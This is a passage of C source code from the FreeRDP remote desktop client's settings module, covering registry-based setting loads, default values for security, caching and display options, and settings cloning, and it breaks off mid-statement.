FREERDP_VENDOR_STRING "\\" \ FREERDP_PRODUCT_STRING "\\Client" #define BITMAP_CACHE_KEY CLIENT_KEY "\\BitmapCacheV2" #define GLYPH_CACHE_KEY CLIENT_KEY "\\GlyphCache" #define POINTER_CACHE_KEY CLIENT_KEY "\\PointerCache" static void settings_client_load_hkey_local_machine(rdpSettings* settings) { HKEY hKey; LONG status; DWORD dwType; DWORD dwSize; DWORD dwValue; status = RegOpenKeyExA(HKEY_LOCAL_MACHINE, CLIENT_KEY, 0, KEY_READ | KEY_WOW64_64KEY, &hKey); if (status == ERROR_SUCCESS) { REG_QUERY_DWORD_VALUE(hKey, _T("DesktopWidth"), dwType, dwValue, dwSize, settings->DesktopWidth); REG_QUERY_DWORD_VALUE(hKey, _T("DesktopHeight"), dwType, dwValue, dwSize, settings->DesktopHeight); REG_QUERY_BOOL_VALUE(hKey, _T("Fullscreen"), dwType, dwValue, dwSize, settings->Fullscreen); REG_QUERY_DWORD_VALUE(hKey, _T("ColorDepth"), dwType, dwValue, dwSize, settings->ColorDepth); REG_QUERY_DWORD_VALUE(hKey, _T("KeyboardType"), dwType, dwValue, dwSize, settings->KeyboardType); REG_QUERY_DWORD_VALUE(hKey, _T("KeyboardSubType"), dwType, dwValue, dwSize, settings->KeyboardSubType); REG_QUERY_DWORD_VALUE(hKey, _T("KeyboardFunctionKeys"), dwType, dwValue, dwSize, settings->KeyboardFunctionKey); REG_QUERY_DWORD_VALUE(hKey, _T("KeyboardLayout"), dwType, dwValue, dwSize, settings->KeyboardLayout); REG_QUERY_BOOL_VALUE(hKey, _T("ExtSecurity"), dwType, dwValue, dwSize, settings->ExtSecurity); REG_QUERY_BOOL_VALUE(hKey, _T("NlaSecurity"), dwType, dwValue, dwSize, settings->NlaSecurity); REG_QUERY_BOOL_VALUE(hKey, _T("TlsSecurity"), dwType, dwValue, dwSize, settings->TlsSecurity); REG_QUERY_BOOL_VALUE(hKey, _T("RdpSecurity"), dwType, dwValue, dwSize, settings->RdpSecurity); REG_QUERY_BOOL_VALUE(hKey, _T("MstscCookieMode"), dwType, dwValue, dwSize, settings->MstscCookieMode); REG_QUERY_DWORD_VALUE(hKey, _T("CookieMaxLength"), dwType, dwValue, dwSize, settings->CookieMaxLength); REG_QUERY_BOOL_VALUE(hKey, _T("BitmapCache"), dwType, dwValue, dwSize, settings->BitmapCacheEnabled); REG_QUERY_BOOL_VALUE(hKey, _T("OffscreenBitmapCache"), dwType, dwValue, dwSize, settings->OffscreenSupportLevel); REG_QUERY_DWORD_VALUE(hKey, _T("OffscreenBitmapCacheSize"), dwType, dwValue, dwSize, settings->OffscreenCacheSize); REG_QUERY_DWORD_VALUE(hKey, _T("OffscreenBitmapCacheEntries"), dwType, dwValue, dwSize, settings->OffscreenCacheEntries); RegCloseKey(hKey); } status = RegOpenKeyExA(HKEY_LOCAL_MACHINE, BITMAP_CACHE_KEY, 0, KEY_READ | KEY_WOW64_64KEY, &hKey); if (status == ERROR_SUCCESS) { REG_QUERY_DWORD_VALUE(hKey, _T("NumCells"), dwType, dwValue, dwSize, settings->BitmapCacheV2NumCells); REG_QUERY_DWORD_VALUE(hKey, _T("Cell0NumEntries"), dwType, dwValue, dwSize, settings->BitmapCacheV2CellInfo[0].numEntries); REG_QUERY_BOOL_VALUE(hKey, _T("Cell0Persistent"), dwType, dwValue, dwSize, settings->BitmapCacheV2CellInfo[0].persistent); REG_QUERY_DWORD_VALUE(hKey, _T("Cell1NumEntries"), dwType, dwValue, dwSize, settings->BitmapCacheV2CellInfo[1].numEntries); REG_QUERY_BOOL_VALUE(hKey, _T("Cell1Persistent"), dwType, dwValue, dwSize, settings->BitmapCacheV2CellInfo[1].persistent); REG_QUERY_DWORD_VALUE(hKey, _T("Cell2NumEntries"), dwType, dwValue, dwSize, settings->BitmapCacheV2CellInfo[2].numEntries); REG_QUERY_BOOL_VALUE(hKey, _T("Cell2Persistent"), dwType, dwValue, dwSize, settings->BitmapCacheV2CellInfo[2].persistent); REG_QUERY_DWORD_VALUE(hKey, _T("Cell3NumEntries"), dwType, dwValue, dwSize, settings->BitmapCacheV2CellInfo[3].numEntries); REG_QUERY_BOOL_VALUE(hKey, _T("Cell3Persistent"), dwType, dwValue, dwSize, settings->BitmapCacheV2CellInfo[3].persistent); REG_QUERY_DWORD_VALUE(hKey, _T("Cell4NumEntries"), dwType, dwValue, dwSize, settings->BitmapCacheV2CellInfo[4].numEntries); REG_QUERY_BOOL_VALUE(hKey, _T("Cell4Persistent"), dwType, dwValue, dwSize, settings->BitmapCacheV2CellInfo[4].persistent); REG_QUERY_BOOL_VALUE(hKey, _T("AllowCacheWaitingList"), dwType, dwValue, dwSize, settings->AllowCacheWaitingList); RegCloseKey(hKey); } status = RegOpenKeyExA(HKEY_LOCAL_MACHINE, GLYPH_CACHE_KEY, 0, KEY_READ | KEY_WOW64_64KEY, &hKey); if (status == ERROR_SUCCESS) { REG_QUERY_DWORD_VALUE(hKey, _T("SupportLevel"), dwType, dwValue, dwSize, settings->GlyphSupportLevel); REG_QUERY_DWORD_VALUE(hKey, _T("Cache0NumEntries"), dwType, dwValue, dwSize, settings->GlyphCache[0].cacheEntries); REG_QUERY_DWORD_VALUE(hKey, _T("Cache0MaxCellSize"), dwType, dwValue, dwSize, settings->GlyphCache[0].cacheMaximumCellSize); REG_QUERY_DWORD_VALUE(hKey, _T("Cache1NumEntries"), dwType, dwValue, dwSize, settings->GlyphCache[1].cacheEntries); REG_QUERY_DWORD_VALUE(hKey, _T("Cache1MaxCellSize"), dwType, dwValue, dwSize, settings->GlyphCache[1].cacheMaximumCellSize); REG_QUERY_DWORD_VALUE(hKey, _T("Cache2NumEntries"), dwType, dwValue, dwSize, settings->GlyphCache[2].cacheEntries); REG_QUERY_DWORD_VALUE(hKey, _T("Cache2MaxCellSize"), dwType, dwValue, dwSize, settings->GlyphCache[2].cacheMaximumCellSize); REG_QUERY_DWORD_VALUE(hKey, _T("Cache3NumEntries"), dwType, dwValue, dwSize, settings->GlyphCache[3].cacheEntries); REG_QUERY_DWORD_VALUE(hKey, _T("Cache3MaxCellSize"), dwType, dwValue, dwSize, settings->GlyphCache[3].cacheMaximumCellSize); REG_QUERY_DWORD_VALUE(hKey, _T("Cache4NumEntries"), dwType, dwValue, dwSize, settings->GlyphCache[4].cacheEntries); REG_QUERY_DWORD_VALUE(hKey, _T("Cache4MaxCellSize"), dwType, dwValue, dwSize, settings->GlyphCache[4].cacheMaximumCellSize); REG_QUERY_DWORD_VALUE(hKey, _T("Cache5NumEntries"), dwType, dwValue, dwSize, settings->GlyphCache[5].cacheEntries); REG_QUERY_DWORD_VALUE(hKey, _T("Cache5MaxCellSize"), dwType, dwValue, dwSize, settings->GlyphCache[5].cacheMaximumCellSize); REG_QUERY_DWORD_VALUE(hKey, _T("Cache6NumEntries"), dwType, dwValue, dwSize, settings->GlyphCache[6].cacheEntries); REG_QUERY_DWORD_VALUE(hKey, _T("Cache6MaxCellSize"), dwType, dwValue, dwSize, settings->GlyphCache[6].cacheMaximumCellSize); REG_QUERY_DWORD_VALUE(hKey, _T("Cache7NumEntries"), dwType, dwValue, dwSize, settings->GlyphCache[7].cacheEntries); REG_QUERY_DWORD_VALUE(hKey, _T("Cache7MaxCellSize"), dwType, dwValue, dwSize, settings->GlyphCache[7].cacheMaximumCellSize); REG_QUERY_DWORD_VALUE(hKey, _T("Cache8NumEntries"), dwType, dwValue, dwSize, settings->GlyphCache[8].cacheEntries); REG_QUERY_DWORD_VALUE(hKey, _T("Cache8MaxCellSize"), dwType, dwValue, dwSize, settings->GlyphCache[8].cacheMaximumCellSize); REG_QUERY_DWORD_VALUE(hKey, _T("Cache9NumEntries"), dwType, dwValue, dwSize, settings->GlyphCache[9].cacheEntries); REG_QUERY_DWORD_VALUE(hKey, _T("Cache9MaxCellSize"), dwType, dwValue, dwSize, settings->GlyphCache[9].cacheMaximumCellSize); REG_QUERY_DWORD_VALUE(hKey, _T("FragCacheNumEntries"), dwType, dwValue, dwSize, settings->FragCache->cacheEntries); REG_QUERY_DWORD_VALUE(hKey, _T("FragCacheMaxCellSize"), dwType, dwValue, dwSize, settings->FragCache->cacheMaximumCellSize); RegCloseKey(hKey); } status = RegOpenKeyExA(HKEY_LOCAL_MACHINE, POINTER_CACHE_KEY, 0, KEY_READ | KEY_WOW64_64KEY, &hKey); if (status == ERROR_SUCCESS) { REG_QUERY_BOOL_VALUE(hKey, _T("LargePointer"), dwType, dwValue, dwSize, settings->LargePointerFlag); REG_QUERY_BOOL_VALUE(hKey, _T("ColorPointer"), dwType, dwValue, dwSize, settings->ColorPointerFlag); REG_QUERY_DWORD_VALUE(hKey, _T("PointerCacheSize"), dwType, dwValue, dwSize, settings->PointerCacheSize); RegCloseKey(hKey); } } static void settings_server_load_hkey_local_machine(rdpSettings* settings) { HKEY hKey; LONG status; DWORD dwType; DWORD dwSize; DWORD dwValue; status = RegOpenKeyExA(HKEY_LOCAL_MACHINE, SERVER_KEY, 0, KEY_READ | KEY_WOW64_64KEY, &hKey); if (status != ERROR_SUCCESS) return; REG_QUERY_BOOL_VALUE(hKey, _T("ExtSecurity"), dwType, dwValue, dwSize, settings->ExtSecurity); REG_QUERY_BOOL_VALUE(hKey, _T("NlaSecurity"), dwType, dwValue, dwSize, settings->NlaSecurity); REG_QUERY_BOOL_VALUE(hKey, _T("TlsSecurity"), dwType, dwValue, dwSize, settings->TlsSecurity); REG_QUERY_BOOL_VALUE(hKey, _T("RdpSecurity"), dwType, dwValue, dwSize, settings->RdpSecurity); RegCloseKey(hKey); } static void settings_load_hkey_local_machine(rdpSettings* settings) { if (settings->ServerMode) settings_server_load_hkey_local_machine(settings); else settings_client_load_hkey_local_machine(settings); } static BOOL settings_get_computer_name(rdpSettings* settings) { DWORD nSize = 0; CHAR* computerName; if (GetComputerNameExA(ComputerNameNetBIOS, NULL, &nSize) || GetLastError() != ERROR_MORE_DATA) return FALSE; computerName = calloc(nSize, sizeof(CHAR)); if (!computerName) return FALSE; if (!GetComputerNameExA(ComputerNameNetBIOS, computerName, &nSize)) { free(computerName); return FALSE; } if (nSize > MAX_COMPUTERNAME_LENGTH) computerName[MAX_COMPUTERNAME_LENGTH] = '\0'; settings->ComputerName = computerName; if (!settings->ComputerName) return FALSE; return TRUE; } BOOL freerdp_settings_set_default_order_support(rdpSettings* settings) { if (!settings) return FALSE; ZeroMemory(settings->OrderSupport, 32); settings->OrderSupport[NEG_DSTBLT_INDEX] = TRUE; settings->OrderSupport[NEG_PATBLT_INDEX] = TRUE; settings->OrderSupport[NEG_SCRBLT_INDEX] = TRUE; settings->OrderSupport[NEG_OPAQUE_RECT_INDEX] = TRUE; settings->OrderSupport[NEG_DRAWNINEGRID_INDEX] = FALSE; settings->OrderSupport[NEG_MULTIDSTBLT_INDEX] = FALSE; settings->OrderSupport[NEG_MULTIPATBLT_INDEX] = FALSE; settings->OrderSupport[NEG_MULTISCRBLT_INDEX] = FALSE; settings->OrderSupport[NEG_MULTIOPAQUERECT_INDEX] = TRUE; settings->OrderSupport[NEG_MULTI_DRAWNINEGRID_INDEX] = FALSE; settings->OrderSupport[NEG_LINETO_INDEX] = TRUE; settings->OrderSupport[NEG_POLYLINE_INDEX] = TRUE; settings->OrderSupport[NEG_MEMBLT_INDEX] = settings->BitmapCacheEnabled; settings->OrderSupport[NEG_MEM3BLT_INDEX] = settings->BitmapCacheEnabled; settings->OrderSupport[NEG_MEMBLT_V2_INDEX] = settings->BitmapCacheEnabled; settings->OrderSupport[NEG_MEM3BLT_V2_INDEX] = settings->BitmapCacheEnabled; settings->OrderSupport[NEG_SAVEBITMAP_INDEX] = FALSE; settings->OrderSupport[NEG_GLYPH_INDEX_INDEX] = settings->GlyphSupportLevel != GLYPH_SUPPORT_NONE; settings->OrderSupport[NEG_FAST_INDEX_INDEX] = settings->GlyphSupportLevel != GLYPH_SUPPORT_NONE; settings->OrderSupport[NEG_FAST_GLYPH_INDEX] = settings->GlyphSupportLevel != GLYPH_SUPPORT_NONE; settings->OrderSupport[NEG_POLYGON_SC_INDEX] = FALSE; settings->OrderSupport[NEG_POLYGON_CB_INDEX] = FALSE; settings->OrderSupport[NEG_ELLIPSE_SC_INDEX] = FALSE; settings->OrderSupport[NEG_ELLIPSE_CB_INDEX] = FALSE; return TRUE; } rdpSettings* freerdp_settings_new(DWORD flags) { char* base; rdpSettings* settings; settings = (rdpSettings*) calloc(1, sizeof(rdpSettings)); if (!settings) return NULL; settings->ServerMode = (flags & FREERDP_SETTINGS_SERVER_MODE) ? TRUE : FALSE; settings->WaitForOutputBufferFlush = TRUE; settings->MaxTimeInCheckLoop = 100; settings->DesktopWidth = 1024; settings->DesktopHeight = 768; settings->Workarea = FALSE; settings->Fullscreen = FALSE; settings->GrabKeyboard = TRUE; settings->Decorations = TRUE; settings->RdpVersion = RDP_VERSION_5_PLUS; settings->ColorDepth = 16; settings->ExtSecurity = FALSE; settings->NlaSecurity = TRUE; settings->TlsSecurity = TRUE; settings->RdpSecurity = TRUE; settings->NegotiateSecurityLayer = TRUE; settings->RestrictedAdminModeRequired = FALSE; settings->MstscCookieMode = FALSE; settings->CookieMaxLength = DEFAULT_COOKIE_MAX_LENGTH; settings->ClientBuild = 2600; settings->KeyboardType = 4; settings->KeyboardSubType = 0; settings->KeyboardFunctionKey = 12; settings->KeyboardLayout = 0; settings->UseRdpSecurityLayer = FALSE; settings->SaltedChecksum = TRUE; settings->ServerPort = 3389; settings->GatewayPort = 443; settings->DesktopResize = TRUE; settings->ToggleFullscreen = TRUE; settings->DesktopPosX = UINT32_MAX; settings->DesktopPosY = UINT32_MAX; settings->SoftwareGdi = TRUE; settings->UnmapButtons = FALSE; settings->PerformanceFlags = PERF_FLAG_NONE; settings->AllowFontSmoothing = TRUE; settings->AllowDesktopComposition = FALSE; settings->DisableWallpaper = FALSE; settings->DisableFullWindowDrag = TRUE; settings->DisableMenuAnims = TRUE; settings->DisableThemes = FALSE; settings->ConnectionType = CONNECTION_TYPE_LAN; settings->EncryptionMethods = ENCRYPTION_METHOD_NONE; settings->EncryptionLevel = ENCRYPTION_LEVEL_NONE; settings->FIPSMode = FALSE; settings->CompressionEnabled = TRUE; settings->LogonNotify = TRUE; settings->BrushSupportLevel = BRUSH_COLOR_FULL; settings->CompressionLevel = PACKET_COMPR_TYPE_RDP61; settings->Authentication = TRUE; settings->AuthenticationOnly = FALSE; settings->CredentialsFromStdin = FALSE; settings->DisableCredentialsDelegation = FALSE; settings->AuthenticationLevel = 2; settings->ChannelCount = 0; settings->ChannelDefArraySize = 32; settings->ChannelDefArray = (CHANNEL_DEF*) calloc(settings->ChannelDefArraySize, sizeof(CHANNEL_DEF)); if (!settings->ChannelDefArray) goto out_fail; settings->SupportMonitorLayoutPdu = FALSE; settings->MonitorCount = 0; settings->MonitorDefArraySize = 32; settings->MonitorDefArray = (rdpMonitor*) calloc(settings->MonitorDefArraySize, sizeof(rdpMonitor)); if (!settings->MonitorDefArray) goto out_fail; settings->MonitorLocalShiftX = 0; settings->MonitorLocalShiftY = 0; settings->MonitorIds = (UINT32*) calloc(16, sizeof(UINT32)); if (!settings->MonitorIds) goto out_fail; if (!settings_get_computer_name(settings)) goto out_fail; settings->ReceivedCapabilities = calloc(1, 32); if (!settings->ReceivedCapabilities) goto out_fail; settings->ClientProductId = calloc(1, 32); if (!settings->ClientProductId) goto out_fail; settings->ClientHostname = calloc(1, 32); if (!settings->ClientHostname) goto out_fail; gethostname(settings->ClientHostname, 31); settings->ClientHostname[31] = 0; settings->ColorPointerFlag = TRUE; settings->LargePointerFlag = TRUE; settings->PointerCacheSize = 20; settings->SoundBeepsEnabled = TRUE; settings->DrawGdiPlusEnabled = FALSE; settings->DrawAllowSkipAlpha = TRUE; settings->DrawAllowColorSubsampling = FALSE; settings->DrawAllowDynamicColorFidelity = FALSE; settings->FrameMarkerCommandEnabled = TRUE; settings->SurfaceFrameMarkerEnabled = TRUE; settings->BitmapCacheV3Enabled = FALSE; settings->BitmapCacheEnabled = TRUE; settings->BitmapCachePersistEnabled = FALSE; settings->AllowCacheWaitingList = TRUE; settings->BitmapCacheV2NumCells = 5; settings->BitmapCacheV2CellInfo = (BITMAP_CACHE_V2_CELL_INFO*) malloc(sizeof( BITMAP_CACHE_V2_CELL_INFO) * 6); if (!settings->BitmapCacheV2CellInfo) goto out_fail; settings->BitmapCacheV2CellInfo[0].numEntries = 600; settings->BitmapCacheV2CellInfo[0].persistent = FALSE; settings->BitmapCacheV2CellInfo[1].numEntries = 600; settings->BitmapCacheV2CellInfo[1].persistent = FALSE; settings->BitmapCacheV2CellInfo[2].numEntries = 2048; settings->BitmapCacheV2CellInfo[2].persistent = FALSE; settings->BitmapCacheV2CellInfo[3].numEntries = 4096; settings->BitmapCacheV2CellInfo[3].persistent = FALSE; settings->BitmapCacheV2CellInfo[4].numEntries = 2048; settings->BitmapCacheV2CellInfo[4].persistent = FALSE; settings->NoBitmapCompressionHeader = TRUE; settings->RefreshRect = TRUE; settings->SuppressOutput = TRUE; settings->GlyphSupportLevel = GLYPH_SUPPORT_NONE; settings->GlyphCache = malloc(sizeof(GLYPH_CACHE_DEFINITION) * 10); if (!settings->GlyphCache) goto out_fail; settings->FragCache = malloc(sizeof(GLYPH_CACHE_DEFINITION)); if (!settings->FragCache) goto out_fail; settings->GlyphCache[0].cacheEntries = 254; settings->GlyphCache[0].cacheMaximumCellSize = 4; settings->GlyphCache[1].cacheEntries = 254; settings->GlyphCache[1].cacheMaximumCellSize = 4; settings->GlyphCache[2].cacheEntries = 254; settings->GlyphCache[2].cacheMaximumCellSize = 8; settings->GlyphCache[3].cacheEntries = 254; settings->GlyphCache[3].cacheMaximumCellSize = 8; settings->GlyphCache[4].cacheEntries = 254; settings->GlyphCache[4].cacheMaximumCellSize = 16; settings->GlyphCache[5].cacheEntries = 254; settings->GlyphCache[5].cacheMaximumCellSize = 32; settings->GlyphCache[6].cacheEntries = 254; settings->GlyphCache[6].cacheMaximumCellSize = 64; settings->GlyphCache[7].cacheEntries = 254; settings->GlyphCache[7].cacheMaximumCellSize = 128; settings->GlyphCache[8].cacheEntries = 254; settings->GlyphCache[8].cacheMaximumCellSize = 256; settings->GlyphCache[9].cacheEntries = 64; settings->GlyphCache[9].cacheMaximumCellSize = 256; settings->FragCache->cacheEntries = 256; settings->FragCache->cacheMaximumCellSize = 256; settings->OffscreenSupportLevel = TRUE; settings->OffscreenCacheSize = 7680; settings->OffscreenCacheEntries = 2000; settings->DrawNineGridCacheSize = 2560; settings->DrawNineGridCacheEntries = 256; settings->ClientDir = _strdup(client_dll); if (!settings->ClientDir) goto out_fail; settings->RemoteWndSupportLevel = WINDOW_LEVEL_SUPPORTED_EX; settings->RemoteAppNumIconCaches = 3; settings->RemoteAppNumIconCacheEntries = 12; settings->VirtualChannelChunkSize = CHANNEL_CHUNK_LENGTH; settings->MultifragMaxRequestSize = (flags & FREERDP_SETTINGS_SERVER_MODE) ? 0 : 0xFFFF; settings->GatewayUseSameCredentials = FALSE; settings->GatewayBypassLocal = FALSE; settings->GatewayRpcTransport = TRUE; settings->GatewayHttpTransport = TRUE; settings->GatewayUdpTransport = TRUE; settings->FastPathInput = TRUE; settings->FastPathOutput = TRUE; settings->LongCredentialsSupported = TRUE; settings->FrameAcknowledge = 2; settings->MouseMotion = TRUE; settings->NSCodecColorLossLevel = 3; settings->NSCodecAllowSubsampling = TRUE; settings->NSCodecAllowDynamicColorFidelity = TRUE; settings->AutoReconnectionEnabled = FALSE; settings->AutoReconnectMaxRetries = 20; settings->GfxThinClient = TRUE; settings->GfxSmallCache = FALSE; settings->GfxProgressive = FALSE; settings->GfxProgressiveV2 = FALSE; settings->GfxH264 = FALSE; settings->GfxAVC444 = FALSE; settings->GfxSendQoeAck = FALSE; settings->ClientAutoReconnectCookie = (ARC_CS_PRIVATE_PACKET*) calloc(1, sizeof(ARC_CS_PRIVATE_PACKET)); if (!settings->ClientAutoReconnectCookie) goto out_fail; settings->ServerAutoReconnectCookie = (ARC_SC_PRIVATE_PACKET*) calloc(1, sizeof(ARC_SC_PRIVATE_PACKET)); if (!settings->ServerAutoReconnectCookie) goto out_fail; settings->ClientTimeZone = (LPTIME_ZONE_INFORMATION) calloc(1, sizeof(TIME_ZONE_INFORMATION)); if (!settings->ClientTimeZone) goto out_fail; settings->DeviceArraySize = 16; settings->DeviceArray = (RDPDR_DEVICE**) calloc(1, sizeof(RDPDR_DEVICE*) * settings->DeviceArraySize); if (!settings->DeviceArray) goto out_fail; settings->StaticChannelArraySize = 16; settings->StaticChannelArray = (ADDIN_ARGV**) calloc(1, sizeof(ADDIN_ARGV*) * settings->StaticChannelArraySize); if (!settings->StaticChannelArray) goto out_fail; settings->DynamicChannelArraySize = 16; settings->DynamicChannelArray = (ADDIN_ARGV**) calloc(1, sizeof(ADDIN_ARGV*) * settings->DynamicChannelArraySize); if (!settings->DynamicChannelArray) goto out_fail; if (!settings->ServerMode) { settings->RedirectClipboard = TRUE; /* these values are used only by the client part */ settings->HomePath = GetKnownPath(KNOWN_PATH_HOME); if (!settings->HomePath) goto out_fail; /* For default FreeRDP continue using same config directory * as in old releases. * Custom builds use <Vendor>/<Product> as config folder. */ if (_stricmp(FREERDP_VENDOR_STRING, FREERDP_PRODUCT_STRING)) { base = GetKnownSubPath(KNOWN_PATH_XDG_CONFIG_HOME, FREERDP_VENDOR_STRING); if (base) { settings->ConfigPath = GetCombinedPath( base, FREERDP_PRODUCT_STRING); } free(base); } else { int i; char product[sizeof(FREERDP_PRODUCT_STRING)]; memset(product, 0, sizeof(product)); for (i = 0; i < sizeof(product); i++) product[i] = tolower(FREERDP_PRODUCT_STRING[i]); settings->ConfigPath = GetKnownSubPath( KNOWN_PATH_XDG_CONFIG_HOME, product); } if (!settings->ConfigPath) goto out_fail; } settings_load_hkey_local_machine(settings); settings->SettingsModified = (BYTE*) calloc(1, sizeof(rdpSettings) / 8); if (!settings->SettingsModified) goto out_fail; settings->ActionScript = _strdup("~/.config/freerdp/action.sh"); settings->SmartcardLogon = FALSE; settings->TlsSecLevel = 1; settings->OrderSupport = calloc(1, 32); if (!settings->OrderSupport) goto out_fail; if (!freerdp_settings_set_default_order_support(settings)) goto out_fail; return settings; out_fail: free(settings->HomePath); free(settings->ConfigPath); free(settings->DynamicChannelArray); free(settings->StaticChannelArray); free(settings->DeviceArray); free(settings->ClientTimeZone); free(settings->ServerAutoReconnectCookie); free(settings->ClientAutoReconnectCookie); free(settings->ClientDir); free(settings->FragCache); free(settings->GlyphCache); free(settings->BitmapCacheV2CellInfo); free(settings->ClientProductId); free(settings->ClientHostname); free(settings->OrderSupport); free(settings->ReceivedCapabilities); free(settings->ComputerName); free(settings->MonitorIds); free(settings->MonitorDefArray); free(settings->ChannelDefArray); free(settings); return NULL; } rdpSettings* freerdp_settings_clone(rdpSettings* settings) { UINT32 index; rdpSettings* _settings; _settings = (rdpSettings*) calloc(1, sizeof(rdpSettings)); if (_settings) { CopyMemory(_settings, settings, sizeof(rdpSettings)); /* char* values */ #define CHECKED_STRDUP(name) if (settings->name && !(_settings->name = _strdup(settings->name))) goto out_fail CHECKED_STRDUP(ServerHostname); /* 20 */ CHECKED_STRDUP(Username); /* 21 */ CHECKED_STRDUP(Password); /* 22 */ CHECKED_STRDUP(Domain); /* 23 */ CHECKED_STRDUP(PasswordHash); /* 24 */ CHECKED_STRDUP(AcceptedCert); /* 27 */ _settings->ClientHostname = NULL; /* 134 */ _settings->ClientProductId = NULL; /* 135 */ CHECKED_STRDUP(AlternateShell); /* 640 */ CHECKED_STRDUP(ShellWorkingDirectory); /* 641 */ CHECKED_STRDUP(ClientAddress); /* 769 */ CHECKED_STRDUP(ClientDir); /* 770 */ CHECKED_STRDUP(DynamicDSTTimeZoneKeyName); /* 897 */ CHECKED_STRDUP(RemoteAssistanceSessionId); /* 1025 */ CHECKED_STRDUP(RemoteAssistancePassStub); /* 1026 */ CHECKED_STRDUP(RemoteAssistancePassword); /* 1027 */ CHECKED_STRDUP(RemoteAssistanceRCTicket); /* 1028 */ CHECKED_STRDUP(AuthenticationServiceClass); /* 1098 */ CHECKED_STRDUP(AllowedTlsCiphers); /* 1101 */ CHECKED_STRDUP(NtlmSamFile); /* 1103 */ CHECKED_STRDUP(PreconnectionBlob); /* 1155 */ CHECKED_STRDUP(RedirectionAcceptedCert); /* 1231 */ CHECKED_STRDUP(KerberosKdc); /* 1344 */ CHECKED_STRDUP(KerberosRealm); /* 1345 */ CHECKED_STRDUP(CertificateName); /* 1409 */ CHECKED_STRDUP(CertificateFile); /* 1410 */ CHECKED_STRDUP(PrivateKeyFile); /* 1411 */ CHECKED_STRDUP(RdpKeyFile); /* 1412 */ CHECKED_STRDUP(CertificateContent); /* 1416 */ CHECKED_STRDUP(PrivateKeyContent); /* 1417 */ CHECKED_STRDUP(RdpKeyContent); /* 1418 */ CHECKED_STRDUP(WindowTitle); /* 1542 */ CHECKED_STRDUP(WmClass); /* 1549 */ CHECKED_STRDUP(ComputerName); /* 1664 */ CHECKED_STRDUP(ConnectionFile); /* 1728 */ CHECKED_STRDUP(AssistanceFile); /* 1729 */ CHECKED_STRDUP(HomePath); /* 1792 */ CHECKED_STRDUP(ConfigPath); /* 1793 */ CHECKED_STRDUP(CurrentPath); /* 1794 */ CHECKED_STRDUP(DumpRemoteFxFile); /* 1858 */ CHECKED_STRDUP(PlayRemoteFxFile); /* 1859 */ CHECKED_STRDUP(GatewayHostname); /* 1986 */ CHECKED_STRDUP(GatewayUsername); /* 1987 */ CHECKED_STRDUP(GatewayPassword); /* 1988 */ CHECKED_STRDUP(GatewayDomain); /* 1989 */ CHECKED_STRDUP(GatewayAccessToken); /* 1997 */ CHECKED_STRDUP(GatewayAcceptedCert); /* 1998 */ CHECKED_STRDUP(ProxyHostname); /* 2016 */ CHECKED_STRDUP(RemoteApplicationName); /* 2113 */ CHECKED_STRDUP(RemoteApplicationIcon); /* 2114 */ CHECKED_STRDUP(RemoteApplicationProgram); /* 2115 */ CHECKED_STRDUP(RemoteApplicationFile); /* 2116 */ CHECKED_STRDUP(RemoteApplicationGuid); /* 2117 */ CHECKED_STRDUP(RemoteApplicationCmdLine); /* 2118 */ CHECKED_STRDUP(ImeFileName); /* 2628 */ CHECKED_STRDUP(DrivesToRedirect); /* 4290 */ CHECKED_STRDUP(ActionScript); /** * Manual Code */ _settings->LoadBalanceInfo = NULL; _settings->LoadBalanceInfoLength = 0; _settings->TargetNetAddress = NULL; _settings->RedirectionTargetFQDN = NULL; _settings->RedirectionTargetNetBiosName = NULL; _settings->RedirectionUsername = NULL; _settings->RedirectionDomain = NULL; _settings->RedirectionPassword = NULL; _settings->RedirectionPasswordLength = 0; _settings->RedirectionTsvUrl = NULL; _settings->RedirectionTsvUrlLength = 0; _settings->TargetNetAddressCount = 0; _settings->TargetNetAddresses = NULL; _settings->TargetNetPorts = NULL; if (settings->LoadBalanceInfo && settings->LoadBalanceInfoLength) { _settings->LoadBalanceInfo = (BYTE*) calloc(1, settings->LoadBalanceInfoLength + 2); if (!_settings->LoadBalanceInfo) goto out_fail; CopyMemory(_settings->LoadBalanceInfo, settings->LoadBalanceInfo, settings->LoadBalanceInfoLength); _settings->LoadBalanceInfoLength = settings->LoadBalanceInfoLength; } if (_settings->ServerRandomLength) { _settings->ServerRandom = (BYTE*) malloc(_settings->ServerRandomLength); if (!_settings->ServerRandom) goto out_fail; CopyMemory(_settings->ServerRandom, settings->ServerRandom, _settings->ServerRandomLength); _settings->ServerRandomLength = settings->ServerRandomLength; } if (_settings->ClientRandomLength) { _settings->ClientRandom = (BYTE*) malloc(_settings->ClientRandomLength); if (!_settings->ClientRandom) goto out_fail; CopyMemory(_settings->ClientRandom, settings->ClientRandom, _settings->ClientRandomLength); _settings->ClientRandomLength = settings->ClientRandomLength; } if (settings->RdpServerCertificate) { _settings->RdpServerCertificate = certificate_clone( settings->RdpServerCertificate); if (!_settings->RdpServerCertificate) goto out_fail; } _settings->ChannelCount = settings->ChannelCount; _settings->ChannelDefArraySize = settings->ChannelDefArraySize; if (_settings->ChannelDefArraySize > 0) { _settings->ChannelDefArray = (CHANNEL_DEF*) calloc(settings->ChannelDefArraySize, sizeof(CHANNEL_DEF)); if (!_settings->ChannelDefArray) goto out_fail; CopyMemory(_settings->ChannelDefArray, settings->ChannelDefArray, sizeof(CHANNEL_DEF) * settings->ChannelDefArraySize); } else _settings->ChannelDefArray = NULL; _settings->MonitorCount = settings->MonitorCount; _settings->MonitorDefArraySize = settings->MonitorDefArraySize; if (_settings->MonitorDefArraySize > 0) { _settings->MonitorDefArray = (rdpMonitor*) calloc(settings->MonitorDefArraySize, sizeof(rdpMonitor)); if (!_settings->MonitorDefArray) goto out_fail; CopyMemory(_settings->MonitorDefArray, settings->MonitorDefArray, sizeof(rdpMonitor) * settings->MonitorDefArraySize); } else _settings->MonitorDefArray = NULL; _settings->MonitorIds = (UINT32*) calloc(16, sizeof(UINT32)); if (!_settings->MonitorIds) goto out_fail; CopyMemory(_settings->MonitorIds, settings->MonitorIds, 16 * sizeof(UINT32)); _settings->ReceivedCapabilities = malloc(32); if (!_settings->ReceivedCapabilities) goto out_fail; _settings->OrderSupport = malloc(32); if (!_settings->OrderSupport) goto out_fail; if (!_settings->ReceivedCapabilities || !_settings->OrderSupport) goto out_fail; CopyMemory(_settings->ReceivedCapabilities, settings->ReceivedCapabilities, 32); CopyMemory(_settings->OrderSupport, settings->OrderSupport, 32); _settings->ClientHostname = _strdup(settings->ClientHostname); if (!_settings->ClientHostname) goto out_fail; _settings->ClientProductId = _strdup(settings->ClientProductId); if (!_settings->ClientProductId) goto out_fail; _settings->BitmapCacheV2CellInfo = 